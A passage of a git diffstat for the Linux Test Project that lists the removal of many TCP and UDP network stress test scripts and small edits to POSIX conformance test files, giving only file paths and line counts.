.../tcp/multi-diffnic/tcp6-multi-diffnic14 | 70 - .../tcp/multi-diffport/00_Descriptions.txt | 125 -- .../stress/tcp/multi-diffport/Makefile | 29 - .../tcp/multi-diffport/tcp4-multi-diffport01 | 382 ----- .../tcp/multi-diffport/tcp4-multi-diffport02 | 70 - .../tcp/multi-diffport/tcp4-multi-diffport03 | 70 - .../tcp/multi-diffport/tcp4-multi-diffport04 | 70 - .../tcp/multi-diffport/tcp4-multi-diffport05 | 70 - .../tcp/multi-diffport/tcp4-multi-diffport06 | 70 - .../tcp/multi-diffport/tcp4-multi-diffport07 | 70 - .../tcp/multi-diffport/tcp4-multi-diffport08 | 64 - .../tcp/multi-diffport/tcp4-multi-diffport09 | 70 - .../tcp/multi-diffport/tcp4-multi-diffport10 | 70 - .../tcp/multi-diffport/tcp4-multi-diffport11 | 70 - .../tcp/multi-diffport/tcp4-multi-diffport12 | 70 - .../tcp/multi-diffport/tcp4-multi-diffport13 | 70 - .../tcp/multi-diffport/tcp4-multi-diffport14 | 70 - .../tcp/multi-diffport/tcp6-multi-diffport01 | 64 - .../tcp/multi-diffport/tcp6-multi-diffport02 | 70 - .../tcp/multi-diffport/tcp6-multi-diffport03 | 70 - .../tcp/multi-diffport/tcp6-multi-diffport04 | 70 - .../tcp/multi-diffport/tcp6-multi-diffport05 | 70 - .../tcp/multi-diffport/tcp6-multi-diffport06 | 70 - .../tcp/multi-diffport/tcp6-multi-diffport07 | 70 - .../tcp/multi-diffport/tcp6-multi-diffport08 | 64 - .../tcp/multi-diffport/tcp6-multi-diffport09 | 70 - .../tcp/multi-diffport/tcp6-multi-diffport10 | 70 - .../tcp/multi-diffport/tcp6-multi-diffport11 | 70 - .../tcp/multi-diffport/tcp6-multi-diffport12 | 70 - .../tcp/multi-diffport/tcp6-multi-diffport13 | 70 - .../tcp/multi-diffport/tcp6-multi-diffport14 | 70 - .../tcp/multi-sameport/00_Descriptions.txt | 125 -- .../stress/tcp/multi-sameport/Makefile | 29 - .../tcp/multi-sameport/tcp4-multi-sameport01 | 381 ----- .../tcp/multi-sameport/tcp4-multi-sameport02 | 70 - .../tcp/multi-sameport/tcp4-multi-sameport03 | 70 - .../tcp/multi-sameport/tcp4-multi-sameport04 | 70 - .../tcp/multi-sameport/tcp4-multi-sameport05 | 70 - .../tcp/multi-sameport/tcp4-multi-sameport06 | 70 - .../tcp/multi-sameport/tcp4-multi-sameport07 | 70 - .../tcp/multi-sameport/tcp4-multi-sameport08 | 64 - .../tcp/multi-sameport/tcp4-multi-sameport09 | 70 - .../tcp/multi-sameport/tcp4-multi-sameport10 | 70 - .../tcp/multi-sameport/tcp4-multi-sameport11 | 70 - .../tcp/multi-sameport/tcp4-multi-sameport12 | 70 - .../tcp/multi-sameport/tcp4-multi-sameport13 | 70 - .../tcp/multi-sameport/tcp4-multi-sameport14 | 70 - .../tcp/multi-sameport/tcp6-multi-sameport01 | 64 - .../tcp/multi-sameport/tcp6-multi-sameport02 | 70 - .../tcp/multi-sameport/tcp6-multi-sameport03 | 70 - .../tcp/multi-sameport/tcp6-multi-sameport04 | 70 - .../tcp/multi-sameport/tcp6-multi-sameport05 | 70 - .../tcp/multi-sameport/tcp6-multi-sameport06 | 70 - .../tcp/multi-sameport/tcp6-multi-sameport07 | 70 - .../tcp/multi-sameport/tcp6-multi-sameport08 | 64 - .../tcp/multi-sameport/tcp6-multi-sameport09 | 70 - .../tcp/multi-sameport/tcp6-multi-sameport10 | 70 - .../tcp/multi-sameport/tcp6-multi-sameport11 | 70 - .../tcp/multi-sameport/tcp6-multi-sameport12 | 70 - .../tcp/multi-sameport/tcp6-multi-sameport13 | 70 - .../tcp/multi-sameport/tcp6-multi-sameport14 | 70 - .../stress/tcp/uni-basic/00_Descriptions.txt | 124 -- .../network/stress/tcp/uni-basic/Makefile | 29 - .../stress/tcp/uni-basic/tcp4-uni-basic01 | 529 ------ .../stress/tcp/uni-basic/tcp4-uni-basic02 | 67 - .../stress/tcp/uni-basic/tcp4-uni-basic03 | 67 - .../stress/tcp/uni-basic/tcp4-uni-basic04 | 67 - .../stress/tcp/uni-basic/tcp4-uni-basic05 | 67 - .../stress/tcp/uni-basic/tcp4-uni-basic06 | 67 - .../stress/tcp/uni-basic/tcp4-uni-basic07 | 67 - .../stress/tcp/uni-basic/tcp4-uni-basic08 | 61 - .../stress/tcp/uni-basic/tcp4-uni-basic09 | 68 - .../stress/tcp/uni-basic/tcp4-uni-basic10 | 68 - .../stress/tcp/uni-basic/tcp4-uni-basic11 | 68 - .../stress/tcp/uni-basic/tcp4-uni-basic12 | 68 - .../stress/tcp/uni-basic/tcp4-uni-basic13 | 68 - .../stress/tcp/uni-basic/tcp4-uni-basic14 | 68 - .../stress/tcp/uni-basic/tcp6-uni-basic01 | 61 - .../stress/tcp/uni-basic/tcp6-uni-basic02 | 68 - .../stress/tcp/uni-basic/tcp6-uni-basic03 | 68 - .../stress/tcp/uni-basic/tcp6-uni-basic04 | 68 - .../stress/tcp/uni-basic/tcp6-uni-basic05 | 68 - .../stress/tcp/uni-basic/tcp6-uni-basic06 | 68 - .../stress/tcp/uni-basic/tcp6-uni-basic07 | 68 - .../stress/tcp/uni-basic/tcp6-uni-basic08 | 62 - .../stress/tcp/uni-basic/tcp6-uni-basic09 | 69 - .../stress/tcp/uni-basic/tcp6-uni-basic10 | 69 - .../stress/tcp/uni-basic/tcp6-uni-basic11 | 69 - .../stress/tcp/uni-basic/tcp6-uni-basic12 | 69 - .../stress/tcp/uni-basic/tcp6-uni-basic13 | 69 - .../stress/tcp/uni-basic/tcp6-uni-basic14 | 69 - .../tcp/uni-dsackoff/00_Descriptions.txt | 126 -- .../network/stress/tcp/uni-dsackoff/Makefile | 29 - .../tcp/uni-dsackoff/tcp4-uni-dsackoff01 | 81 - .../tcp/uni-dsackoff/tcp4-uni-dsackoff02 | 67 - .../tcp/uni-dsackoff/tcp4-uni-dsackoff03 | 67 - .../tcp/uni-dsackoff/tcp4-uni-dsackoff04 | 67 - .../tcp/uni-dsackoff/tcp4-uni-dsackoff05 | 67 - .../tcp/uni-dsackoff/tcp4-uni-dsackoff06 | 67 - .../tcp/uni-dsackoff/tcp4-uni-dsackoff07 | 67 - .../tcp/uni-dsackoff/tcp4-uni-dsackoff08 | 61 - .../tcp/uni-dsackoff/tcp4-uni-dsackoff09 | 68 - .../tcp/uni-dsackoff/tcp4-uni-dsackoff10 | 68 - .../tcp/uni-dsackoff/tcp4-uni-dsackoff11 | 68 - .../tcp/uni-dsackoff/tcp4-uni-dsackoff12 | 68 - .../tcp/uni-dsackoff/tcp4-uni-dsackoff13 | 68 - .../tcp/uni-dsackoff/tcp4-uni-dsackoff14 | 68 - .../tcp/uni-dsackoff/tcp6-uni-dsackoff01 | 61 - .../tcp/uni-dsackoff/tcp6-uni-dsackoff02 | 68 - .../tcp/uni-dsackoff/tcp6-uni-dsackoff03 | 68 - .../tcp/uni-dsackoff/tcp6-uni-dsackoff04 | 68 - .../tcp/uni-dsackoff/tcp6-uni-dsackoff05 | 68 - .../tcp/uni-dsackoff/tcp6-uni-dsackoff06 | 68 - .../tcp/uni-dsackoff/tcp6-uni-dsackoff07 | 68 - .../tcp/uni-dsackoff/tcp6-uni-dsackoff08 | 62 - .../tcp/uni-dsackoff/tcp6-uni-dsackoff09 | 69 - .../tcp/uni-dsackoff/tcp6-uni-dsackoff10 | 69 - .../tcp/uni-dsackoff/tcp6-uni-dsackoff11 | 69 - .../tcp/uni-dsackoff/tcp6-uni-dsackoff12 | 69 - .../tcp/uni-dsackoff/tcp6-uni-dsackoff13 | 69 - .../tcp/uni-dsackoff/tcp6-uni-dsackoff14 | 69 - .../tcp/uni-pktlossdup/00_Descriptions.txt | 125 -- .../stress/tcp/uni-pktlossdup/Makefile | 29 - .../tcp/uni-pktlossdup/tcp4-uni-pktlossdup01 | 78 - .../tcp/uni-pktlossdup/tcp4-uni-pktlossdup02 | 67 - .../tcp/uni-pktlossdup/tcp4-uni-pktlossdup03 | 67 - .../tcp/uni-pktlossdup/tcp4-uni-pktlossdup04 | 67 - .../tcp/uni-pktlossdup/tcp4-uni-pktlossdup05 | 67 - .../tcp/uni-pktlossdup/tcp4-uni-pktlossdup06 | 67 - .../tcp/uni-pktlossdup/tcp4-uni-pktlossdup07 | 67 - .../tcp/uni-pktlossdup/tcp4-uni-pktlossdup08 | 61 - .../tcp/uni-pktlossdup/tcp4-uni-pktlossdup09 | 68 - .../tcp/uni-pktlossdup/tcp4-uni-pktlossdup10 | 68 - .../tcp/uni-pktlossdup/tcp4-uni-pktlossdup11 | 68 - .../tcp/uni-pktlossdup/tcp4-uni-pktlossdup12 | 68 - .../tcp/uni-pktlossdup/tcp4-uni-pktlossdup13 | 68 - .../tcp/uni-pktlossdup/tcp4-uni-pktlossdup14 | 68 - .../tcp/uni-pktlossdup/tcp6-uni-pktlossdup01 | 61 - .../tcp/uni-pktlossdup/tcp6-uni-pktlossdup02 | 68 - .../tcp/uni-pktlossdup/tcp6-uni-pktlossdup03 | 68 - .../tcp/uni-pktlossdup/tcp6-uni-pktlossdup04 | 68 - .../tcp/uni-pktlossdup/tcp6-uni-pktlossdup05 | 68 - .../tcp/uni-pktlossdup/tcp6-uni-pktlossdup06 | 68 - .../tcp/uni-pktlossdup/tcp6-uni-pktlossdup07 | 68 - .../tcp/uni-pktlossdup/tcp6-uni-pktlossdup08 | 62 - .../tcp/uni-pktlossdup/tcp6-uni-pktlossdup09 | 69 - .../tcp/uni-pktlossdup/tcp6-uni-pktlossdup10 | 69 - .../tcp/uni-pktlossdup/tcp6-uni-pktlossdup11 | 69 - .../tcp/uni-pktlossdup/tcp6-uni-pktlossdup12 | 69 - .../tcp/uni-pktlossdup/tcp6-uni-pktlossdup13 | 69 - .../tcp/uni-pktlossdup/tcp6-uni-pktlossdup14 | 69 - .../tcp/uni-sackoff/00_Descriptions.txt | 126 -- .../network/stress/tcp/uni-sackoff/Makefile | 29 - .../stress/tcp/uni-sackoff/tcp4-uni-sackoff01 | 84 - .../stress/tcp/uni-sackoff/tcp4-uni-sackoff02 | 67 - .../stress/tcp/uni-sackoff/tcp4-uni-sackoff03 | 67 - .../stress/tcp/uni-sackoff/tcp4-uni-sackoff04 | 67 - .../stress/tcp/uni-sackoff/tcp4-uni-sackoff05 | 67 - .../stress/tcp/uni-sackoff/tcp4-uni-sackoff06 | 67 - .../stress/tcp/uni-sackoff/tcp4-uni-sackoff07 | 67 - .../stress/tcp/uni-sackoff/tcp4-uni-sackoff08 | 61 - .../stress/tcp/uni-sackoff/tcp4-uni-sackoff09 | 68 - .../stress/tcp/uni-sackoff/tcp4-uni-sackoff10 | 68 - .../stress/tcp/uni-sackoff/tcp4-uni-sackoff11 | 68 - .../stress/tcp/uni-sackoff/tcp4-uni-sackoff12 | 68 - .../stress/tcp/uni-sackoff/tcp4-uni-sackoff13 | 68 - .../stress/tcp/uni-sackoff/tcp4-uni-sackoff14 | 68 - .../stress/tcp/uni-sackoff/tcp6-uni-sackoff01 | 61 - .../stress/tcp/uni-sackoff/tcp6-uni-sackoff02 | 68 - .../stress/tcp/uni-sackoff/tcp6-uni-sackoff03 | 68 - .../stress/tcp/uni-sackoff/tcp6-uni-sackoff04 | 68 - .../stress/tcp/uni-sackoff/tcp6-uni-sackoff05 | 68 - .../stress/tcp/uni-sackoff/tcp6-uni-sackoff06 | 68 - .../stress/tcp/uni-sackoff/tcp6-uni-sackoff07 | 68 - .../stress/tcp/uni-sackoff/tcp6-uni-sackoff08 | 62 - .../stress/tcp/uni-sackoff/tcp6-uni-sackoff09 | 69 - .../stress/tcp/uni-sackoff/tcp6-uni-sackoff10 | 69 - .../stress/tcp/uni-sackoff/tcp6-uni-sackoff11 | 69 - .../stress/tcp/uni-sackoff/tcp6-uni-sackoff12 | 69 - .../stress/tcp/uni-sackoff/tcp6-uni-sackoff13 | 69 - .../stress/tcp/uni-sackoff/tcp6-uni-sackoff14 | 69 - .../tcp/uni-smallsend/00_Descriptions.txt | 124 -- .../network/stress/tcp/uni-smallsend/Makefile | 29 - .../tcp/uni-smallsend/tcp4-uni-smallsend01 | 75 - .../tcp/uni-smallsend/tcp4-uni-smallsend02 | 67 - .../tcp/uni-smallsend/tcp4-uni-smallsend03 | 67 - .../tcp/uni-smallsend/tcp4-uni-smallsend04 | 67 - .../tcp/uni-smallsend/tcp4-uni-smallsend05 | 67 - .../tcp/uni-smallsend/tcp4-uni-smallsend06 | 67 - .../tcp/uni-smallsend/tcp4-uni-smallsend07 | 67 - .../tcp/uni-smallsend/tcp4-uni-smallsend08 | 62 - .../tcp/uni-smallsend/tcp4-uni-smallsend09 | 68 - .../tcp/uni-smallsend/tcp4-uni-smallsend10 | 68 - .../tcp/uni-smallsend/tcp4-uni-smallsend11 | 68 - .../tcp/uni-smallsend/tcp4-uni-smallsend12 | 68 - .../tcp/uni-smallsend/tcp4-uni-smallsend13 | 68 - .../tcp/uni-smallsend/tcp4-uni-smallsend14 | 68 - .../tcp/uni-smallsend/tcp6-uni-smallsend01 | 61 - .../tcp/uni-smallsend/tcp6-uni-smallsend02 | 68 - .../tcp/uni-smallsend/tcp6-uni-smallsend03 | 68 - .../tcp/uni-smallsend/tcp6-uni-smallsend04 | 68 - .../tcp/uni-smallsend/tcp6-uni-smallsend05 | 68 - .../tcp/uni-smallsend/tcp6-uni-smallsend06 | 68 - .../tcp/uni-smallsend/tcp6-uni-smallsend07 | 68 - .../tcp/uni-smallsend/tcp6-uni-smallsend08 | 62 - .../tcp/uni-smallsend/tcp6-uni-smallsend09 | 69 - .../tcp/uni-smallsend/tcp6-uni-smallsend10 | 69 - .../tcp/uni-smallsend/tcp6-uni-smallsend11 | 69 - .../tcp/uni-smallsend/tcp6-uni-smallsend12 | 69 - .../tcp/uni-smallsend/tcp6-uni-smallsend13 | 69 - .../tcp/uni-smallsend/tcp6-uni-smallsend14 | 69 - .../stress/tcp/uni-tso/00_Descriptions.txt | 125 -- .../network/stress/tcp/uni-tso/Makefile | 29 - .../network/stress/tcp/uni-tso/tcp4-uni-tso01 | 78 - .../network/stress/tcp/uni-tso/tcp4-uni-tso02 | 67 - .../network/stress/tcp/uni-tso/tcp4-uni-tso03 | 67 - .../network/stress/tcp/uni-tso/tcp4-uni-tso04 | 67 - .../network/stress/tcp/uni-tso/tcp4-uni-tso05 | 67 - .../network/stress/tcp/uni-tso/tcp4-uni-tso06 | 67 - .../network/stress/tcp/uni-tso/tcp4-uni-tso07 | 67 - .../network/stress/tcp/uni-tso/tcp4-uni-tso08 | 61 - .../network/stress/tcp/uni-tso/tcp4-uni-tso09 | 68 - .../network/stress/tcp/uni-tso/tcp4-uni-tso10 | 68 - .../network/stress/tcp/uni-tso/tcp4-uni-tso11 | 68 - .../network/stress/tcp/uni-tso/tcp4-uni-tso12 | 68 - .../network/stress/tcp/uni-tso/tcp4-uni-tso13 | 68 - .../network/stress/tcp/uni-tso/tcp4-uni-tso14 | 68 - .../network/stress/tcp/uni-tso/tcp6-uni-tso01 | 61 - .../network/stress/tcp/uni-tso/tcp6-uni-tso02 | 68 - .../network/stress/tcp/uni-tso/tcp6-uni-tso03 | 68 - .../network/stress/tcp/uni-tso/tcp6-uni-tso04 | 68 - .../network/stress/tcp/uni-tso/tcp6-uni-tso05 | 68 - .../network/stress/tcp/uni-tso/tcp6-uni-tso06 | 68 - .../network/stress/tcp/uni-tso/tcp6-uni-tso07 | 68 - .../network/stress/tcp/uni-tso/tcp6-uni-tso08 | 62 - .../network/stress/tcp/uni-tso/tcp6-uni-tso09 | 69 - .../network/stress/tcp/uni-tso/tcp6-uni-tso10 | 69 - .../network/stress/tcp/uni-tso/tcp6-uni-tso11 | 69 - .../network/stress/tcp/uni-tso/tcp6-uni-tso12 | 69 - .../network/stress/tcp/uni-tso/tcp6-uni-tso13 | 69 - .../network/stress/tcp/uni-tso/tcp6-uni-tso14 | 69 - .../tcp/uni-winscale/00_Descriptions.txt | 124 -- .../network/stress/tcp/uni-winscale/Makefile | 30 - .../tcp/uni-winscale/tcp4-uni-winscale01 | 75 - .../tcp/uni-winscale/tcp4-uni-winscale02 | 67 - .../tcp/uni-winscale/tcp4-uni-winscale03 | 67 - .../tcp/uni-winscale/tcp4-uni-winscale04 | 67 - .../tcp/uni-winscale/tcp4-uni-winscale05 | 67 - .../tcp/uni-winscale/tcp4-uni-winscale06 | 68 - .../tcp/uni-winscale/tcp4-uni-winscale07 | 67 - .../tcp/uni-winscale/tcp4-uni-winscale08 | 61 - .../tcp/uni-winscale/tcp4-uni-winscale09 | 68 - .../tcp/uni-winscale/tcp4-uni-winscale10 | 68 - .../tcp/uni-winscale/tcp4-uni-winscale11 | 68 - .../tcp/uni-winscale/tcp4-uni-winscale12 | 68 - .../tcp/uni-winscale/tcp4-uni-winscale13 | 68 - .../tcp/uni-winscale/tcp4-uni-winscale14 | 68 - .../tcp/uni-winscale/tcp6-uni-winscale01 | 61 - .../tcp/uni-winscale/tcp6-uni-winscale02 | 68 - .../tcp/uni-winscale/tcp6-uni-winscale03 | 68 - .../tcp/uni-winscale/tcp6-uni-winscale04 | 68 - .../tcp/uni-winscale/tcp6-uni-winscale05 | 68 - .../tcp/uni-winscale/tcp6-uni-winscale06 | 68 - .../tcp/uni-winscale/tcp6-uni-winscale07 | 68 - .../tcp/uni-winscale/tcp6-uni-winscale08 | 62 - .../tcp/uni-winscale/tcp6-uni-winscale09 | 69 - .../tcp/uni-winscale/tcp6-uni-winscale10 | 69 - .../tcp/uni-winscale/tcp6-uni-winscale11 | 69 - .../tcp/uni-winscale/tcp6-uni-winscale12 | 69 - .../tcp/uni-winscale/tcp6-uni-winscale13 | 69 - .../tcp/uni-winscale/tcp6-uni-winscale14 | 69 - ltp/testcases/network/stress/udp/Makefile | 5 +- .../udp/multi-diffip/00_Descriptions.txt | 56 - .../network/stress/udp/multi-diffip/Makefile | 29 - .../udp/multi-diffip/udp4-multi-diffip01 | 418 ----- .../udp/multi-diffip/udp4-multi-diffip02 | 66 - .../udp/multi-diffip/udp4-multi-diffip03 | 67 - .../udp/multi-diffip/udp4-multi-diffip04 | 66 - .../udp/multi-diffip/udp4-multi-diffip05 | 67 - .../udp/multi-diffip/udp4-multi-diffip06 | 67 - .../udp/multi-diffip/udp4-multi-diffip07 | 66 - .../udp/multi-diffip/udp6-multi-diffip01 | 56 - .../udp/multi-diffip/udp6-multi-diffip02 | 66 - .../udp/multi-diffip/udp6-multi-diffip03 | 67 - .../udp/multi-diffip/udp6-multi-diffip04 | 66 - .../udp/multi-diffip/udp6-multi-diffip05 | 67 - .../udp/multi-diffip/udp6-multi-diffip06 | 67 - .../udp/multi-diffip/udp6-multi-diffip07 | 66 - .../udp/multi-diffnic/00_Descriptions.txt | 56 - .../network/stress/udp/multi-diffnic/Makefile | 29 - .../udp/multi-diffnic/udp4-multi-diffnic01 | 350 ---- .../udp/multi-diffnic/udp4-multi-diffnic02 | 66 - .../udp/multi-diffnic/udp4-multi-diffnic03 | 67 - .../udp/multi-diffnic/udp4-multi-diffnic04 | 66 - .../udp/multi-diffnic/udp4-multi-diffnic05 | 67 - .../udp/multi-diffnic/udp4-multi-diffnic06 | 67 - .../udp/multi-diffnic/udp4-multi-diffnic07 | 66 - .../udp/multi-diffnic/udp6-multi-diffnic01 | 56 - .../udp/multi-diffnic/udp6-multi-diffnic02 | 66 - .../udp/multi-diffnic/udp6-multi-diffnic03 | 67 - .../udp/multi-diffnic/udp6-multi-diffnic04 | 66 - .../udp/multi-diffnic/udp6-multi-diffnic05 | 67 - .../udp/multi-diffnic/udp6-multi-diffnic06 | 67 - .../udp/multi-diffnic/udp6-multi-diffnic07 | 66 - .../udp/multi-diffport/00_Descriptions.txt | 56 - .../stress/udp/multi-diffport/Makefile | 29 - .../udp/multi-diffport/udp4-multi-diffport01 | 343 ---- .../udp/multi-diffport/udp4-multi-diffport02 | 66 - .../udp/multi-diffport/udp4-multi-diffport03 | 67 - .../udp/multi-diffport/udp4-multi-diffport04 | 66 - .../udp/multi-diffport/udp4-multi-diffport05 | 67 - .../udp/multi-diffport/udp4-multi-diffport06 | 67 - .../udp/multi-diffport/udp4-multi-diffport07 | 66 - .../udp/multi-diffport/udp6-multi-diffport01 | 56 - .../udp/multi-diffport/udp6-multi-diffport02 | 66 - .../udp/multi-diffport/udp6-multi-diffport03 | 67 - .../udp/multi-diffport/udp6-multi-diffport04 | 66 - .../udp/multi-diffport/udp6-multi-diffport05 | 67 - .../udp/multi-diffport/udp6-multi-diffport06 | 67 - .../udp/multi-diffport/udp6-multi-diffport07 | 66 - .../stress/udp/uni-basic/00_Descriptions.txt | 55 - .../network/stress/udp/uni-basic/Makefile | 29 - .../stress/udp/uni-basic/udp4-uni-basic01 | 331 ---- .../stress/udp/uni-basic/udp4-uni-basic02 | 66 - .../stress/udp/uni-basic/udp4-uni-basic03 | 67 - .../stress/udp/uni-basic/udp4-uni-basic04 | 66 - .../stress/udp/uni-basic/udp4-uni-basic05 | 67 - .../stress/udp/uni-basic/udp4-uni-basic06 | 67 - .../stress/udp/uni-basic/udp4-uni-basic07 | 66 - .../stress/udp/uni-basic/udp6-uni-basic01 | 56 - .../stress/udp/uni-basic/udp6-uni-basic02 | 66 - .../stress/udp/uni-basic/udp6-uni-basic03 | 67 - .../stress/udp/uni-basic/udp6-uni-basic04 | 66 - .../stress/udp/uni-basic/udp6-uni-basic05 | 67 - .../stress/udp/uni-basic/udp6-uni-basic06 | 67 - .../stress/udp/uni-basic/udp6-uni-basic07 | 66 - ltp/testcases/network/tcp_cmds/README | 23 - ltp/testcases/open_posix_testsuite/Makefile | 13 +- .../conformance/behavior/WIFEXITED/1-1.c | 2 +- .../conformance/behavior/WIFEXITED/1-2.c | 2 +- .../conformance/behavior/WIFEXITED/1-3.c | 2 +- .../conformance/behavior/timers/1-1.c | 2 +- .../conformance/behavior/timers/2-1.c | 2 +- .../conformance/definitions/aio_h/2-1.c | 3 +- .../conformance/definitions/aio_h/4-1.c | 3 +- .../conformance/definitions/errno_h/3-2.c | 3 +- .../conformance/definitions/errno_h/4-1.c | 4 +- .../conformance/definitions/mqueue_h/1-1.c | 2 +- .../conformance/definitions/sched_h/10-1.c | 2 +- .../conformance/definitions/signal_h/13-1.c | 3 +- .../conformance/definitions/signal_h/19-1.c | 3 +- .../conformance/definitions/signal_h/26-1.c | 3 +- .../conformance/interfaces/aio_cancel/1-1.c | 2 +- .../conformance/interfaces/aio_cancel/10-1.c | 2 +- .../conformance/interfaces/aio_cancel/2-1.c | 88 +- .../conformance/interfaces/aio_cancel/2-2.c | 2 +- .../conformance/interfaces/aio_cancel/3-1.c | 127 +- .../conformance/interfaces/aio_cancel/4-1.c | 138 +- .../conformance/interfaces/aio_cancel/5-1.c | 157 +- .../conformance/interfaces/aio_cancel/6-1.c | 138 +- .../conformance/interfaces/aio_cancel/7-1.c | 90 +- .../conformance/interfaces/aio_cancel/8-1.c | 2 +- .../conformance/interfaces/aio_cancel/9-1.c | 2 +- .../conformance/interfaces/aio_error/1-1.c | 2 +- .../conformance/interfaces/aio_error/2-1.c | 2 +- .../conformance/interfaces/aio_error/3-1.c | 2 +- .../conformance/interfaces/aio_fsync/12-1.c | 2 +- .../conformance/interfaces/aio_fsync/14-1.c | 2 +- .../conformance/interfaces/aio_fsync/2-1.c | 2 +- .../conformance/interfaces/aio_fsync/3-1.c | 2 +- .../conformance/interfaces/aio_fsync/4-1.c | 2 +- .../conformance/interfaces/aio_fsync/5-1.c | 2 +- .../conformance/interfaces/aio_fsync/8-1.c | 2 +- .../conformance/interfaces/aio_fsync/8-2.c | 2 +- .../conformance/interfaces/aio_fsync/8-3.c | 2 +- .../conformance/interfaces/aio_fsync/8-4.c | 2 +- .../conformance/interfaces/aio_fsync/9-1.c | 2 +- .../conformance/interfaces/aio_read/1-1.c | 2 +- .../conformance/interfaces/aio_read/10-1.c | 2 +- .../conformance/interfaces/aio_read/11-1.c | 2 +- .../conformance/interfaces/aio_read/11-2.c | 2 +- .../conformance/interfaces/aio_read/3-1.c | 2 +- .../conformance/interfaces/aio_read/3-2.c | 2 +- .../conformance/interfaces/aio_read/4-1.c | 2 +- .../conformance/interfaces/aio_read/5-1.c | 2 +- .../conformance/interfaces/aio_read/7-1.c | 2 +- .../conformance/interfaces/aio_read/8-1.c | 2 +- .../conformance/interfaces/aio_read/9-1.c | 2 +- .../conformance/interfaces/aio_return/1-1.c | 2 +- .../conformance/interfaces/aio_return/2-1.c | 2 +- .../conformance/interfaces/aio_return/3-1.c | 2 +- .../conformance/interfaces/aio_return/3-2.c | 2 +- .../conformance/interfaces/aio_return/4-1.c | 2 +- .../conformance/interfaces/aio_suspend/1-1.c | 2 +- .../conformance/interfaces/aio_suspend/3-1.c | 2 +- .../conformance/interfaces/aio_suspend/4-1.c | 2 +- .../conformance/interfaces/aio_suspend/5-1.c | 2 +- .../conformance/interfaces/aio_suspend/9-1.c | 2 +- .../conformance/interfaces/aio_write/1-1.c | 2 +- .../conformance/interfaces/aio_write/1-2.c | 2 +- .../conformance/interfaces/aio_write/2-1.c | 2 +- .../conformance/interfaces/aio_write/3-1.c | 2 +- .../conformance/interfaces/aio_write/5-1.c | 2 +- .../conformance/interfaces/aio_write/6-1.c | 2 +- .../conformance/interfaces/aio_write/7-1.c | 2 +- .../conformance/interfaces/aio_write/8-1.c | 2 +- .../conformance/interfaces/aio_write/8-2.c | 2 +- .../conformance/interfaces/aio_write/9-1.c | 2 +- .../conformance/interfaces/aio_write/9-2.c | 2 +- .../conformance/interfaces/asctime/1-1.c | 2 +- .../conformance/interfaces/clock/1-1.c | 2 +- .../conformance/interfaces/clock/2-1.c | 2 +- .../interfaces/clock_getcpuclockid/1-1.c | 2 +- .../interfaces/clock_getcpuclockid/1-2.c | 2 +- .../interfaces/clock_getcpuclockid/2-1.c | 2 +- .../interfaces/clock_getcpuclockid/5-1.c | 2 +- .../interfaces/clock_getcpuclockid/6-1.c | 2 +- .../conformance/interfaces/clock_getres/1-1.c | 2 +- .../conformance/interfaces/clock_getres/3-1.c | 2 +- .../conformance/interfaces/clock_getres/5-1.c | 2 +- .../conformance/interfaces/clock_getres/6-1.c | 2 +- .../conformance/interfaces/clock_getres/6-2.c | 7 +- .../conformance/interfaces/clock_getres/7-1.c | 2 +- .../conformance/interfaces/clock_getres/8-1.c | 2 +- .../interfaces/clock_gettime/1-1.c | 2 +- .../interfaces/clock_gettime/1-2.c | 2 +- .../interfaces/clock_gettime/2-1.c | 2 +- .../interfaces/clock_gettime/3-1.c | 2 +- .../interfaces/clock_gettime/4-1.c | 2 +- .../interfaces/clock_gettime/7-1.c | 2 +- .../interfaces/clock_gettime/8-1.c | 2 +- .../interfaces/clock_gettime/8-2.c | 6 +- .../interfaces/clock_nanosleep/1-1.c | 2 +- .../interfaces/clock_nanosleep/1-3.c | 2 +- .../interfaces/clock_nanosleep/1-4.c | 2 +- .../interfaces/clock_nanosleep/1-5.c | 2 +- .../interfaces/clock_nanosleep/10-1.c | 2 +- .../interfaces/clock_nanosleep/11-1.c | 2 +- .../interfaces/clock_nanosleep/13-1.c | 2 +- .../interfaces/clock_nanosleep/2-1.c | 2 +- .../interfaces/clock_nanosleep/2-2.c | 2 +- .../interfaces/clock_nanosleep/2-3.c | 2 +- .../interfaces/clock_nanosleep/3-1.c | 2 +- .../interfaces/clock_nanosleep/9-1.c | 2 +- .../interfaces/clock_settime/1-1.c | 2 +- .../interfaces/clock_settime/17-1.c | 2 +- .../interfaces/clock_settime/17-2.c | 6 +- .../interfaces/clock_settime/19-1.c | 2 +- .../interfaces/clock_settime/20-1.c | 2 +- .../interfaces/clock_settime/4-1.c | 89 +- .../interfaces/clock_settime/4-2.c | 2 +- .../interfaces/clock_settime/5-1.c | 71 +- .../interfaces/clock_settime/5-2.c | 61 +- .../interfaces/clock_settime/6-1.c | 2 +- .../interfaces/clock_settime/7-1.c | 101 +- .../interfaces/clock_settime/7-2.c | 122 +- .../interfaces/clock_settime/8-1.c | 2 +- .../interfaces/clock_settime/helpers.h | 5 + .../clock_settime/speculative/4-3.c | 2 +- .../clock_settime/speculative/4-4.c | 2 +- .../conformance/interfaces/ctime/1-1.c | 2 +- .../conformance/interfaces/difftime/1-1.c | 2 +- .../conformance/interfaces/fork/1-1.c | 2 +- .../conformance/interfaces/fork/11-1.c | 2 +- .../conformance/interfaces/fork/12-1.c | 2 +- .../conformance/interfaces/fork/13-1.c | 4 +- .../conformance/interfaces/fork/14-1.c | 2 +- .../conformance/interfaces/fork/16-1.c | 2 +- .../conformance/interfaces/fork/17-1.c | 2 +- .../conformance/interfaces/fork/17-2.c | 2 +- .../conformance/interfaces/fork/18-1.c | 2 +- .../conformance/interfaces/fork/19-1.c | 2 +- .../conformance/interfaces/fork/2-1.c | 2 +- .../conformance/interfaces/fork/21-1.c | 2 +- .../conformance/interfaces/fork/22-1.c | 2 +- .../conformance/interfaces/fork/3-1.c | 2 +- .../conformance/interfaces/fork/4-1.c | 2 +- .../conformance/interfaces/fork/6-1.c | 2 +- .../conformance/interfaces/fork/7-1.c | 2 +- .../conformance/interfaces/fork/8-1.c | 2 +- .../conformance/interfaces/fork/9-1.c | 2 +- .../conformance/interfaces/fsync/4-1.c | 2 +- .../conformance/interfaces/fsync/5-1.c | 2 +- .../conformance/interfaces/fsync/7-1.c | 2 +- .../conformance/interfaces/getpid/1-1.c | 4 +- .../conformance/interfaces/gmtime/1-1.c | 2 +- .../conformance/interfaces/gmtime/2-1.c | 2 +- .../conformance/interfaces/kill/1-1.c | 2 +- .../conformance/interfaces/kill/1-2.c | 2 +- .../conformance/interfaces/kill/2-1.c | 2 +- .../conformance/interfaces/kill/2-2.c | 2 +- 